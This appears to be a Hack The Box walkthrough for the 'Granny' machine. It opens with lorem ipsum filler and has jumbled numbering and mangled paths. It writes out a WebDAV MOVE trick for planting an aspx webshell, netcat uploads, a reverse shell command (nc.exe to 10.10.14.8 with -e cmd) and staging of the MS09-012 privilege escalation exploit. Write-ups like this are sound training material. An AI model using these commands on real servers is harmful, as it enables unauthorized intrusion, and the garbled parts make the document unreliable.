Granny - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

  2. We instantly see that it’s IIS 6.0 and webdab seems to be open. Run davtest to find out more.

Unfortunatley we are unable to upload aspx, otherwise this would be an easy webshell. However, method ‘MOVE’ is allowed, meaning we can move already uploaded files and change their filename (and ending).

[root:/git/htb/granny]# mv shell.aspx shell.txt                                                                                   (master✱)

[root:/git/htb/granny]# curl -X MOVE --header "Destination:http://10.10.10.15/shell.aspx" http://10.10.10.15/shell.txt

Browse for RCE: http://10.10.10.15/shell.aspx

OR USING CADAVER: cadaver http://granny.htb mput fil.txt mv fil.txt fil.aspx

  1. Executing nc64.exe for a reverse shell directly through my smb share doesn’t work, so upload nc64.exe the same way.

    [root:/git/htb/granny]# cp /opt/nc64.exe nc64.txt [root:/git/htb/granny]# curl http://10.10.10.15/ –upload-file nc64.txt (master✱) [root:/git/htb/granny]# curl -X MOVE –header “Destination:http://10.10.10.15/nc64.exe” http://10.10.10.15/nc64.txt

Enumerating the box we find that nc64.exe is uploaded to ‘c:64.exe’ Trying to execute the binary gives nothing: c:64.exe 10.10.14.8 4488 -e cmd Lets try nc.exe instead; [root:/git/htb/granny]# mv nc.exe nc.txt (master✱) [root:/git/htb/granny]# curl http://10.10.10.15/ –upload-file nc.txt (master✱) [root:/git/htb/granny]# curl -X MOVE –header “Destination:http://10.10.10.15/nc.exe” http://10.10.10.15/nc.txt Execute RCE: c:.exe 10.10.14.8 4488 -e powershell

[root:/git/htb/granny]# rlwrap nc -lvnp 4488                                                                                      (master✱)

  listening on [any] 4488 ...
  connect to [10.10.14.8] from (UNKNOWN) [10.10.10.15] 1083

We get a incomming connection, however the shell dies instantly. Lets try cmd instead of powershell.
Execute RCE: c:\Inetpub\wwwroot\nc.exe 10.10.14.8 4488 -e cmd

[root:/git/htb/granny]# rlwrap nc -lvnp 4488                                                                                      (master✱)

  1. None of the exploits are giving anything of use. Googling about ‘windows 2003 privilege escalation’ and we find MS09-012, Privelege Escalation via Token Kidnapping.

    Setup a local SMB Server again and try the exploit:

    [root:/srv/pub-share]# smbserver.py share . [root:/srv/pub-share]# cp /opt/windows-kernel-exploits/MS09-012/pr.exe .
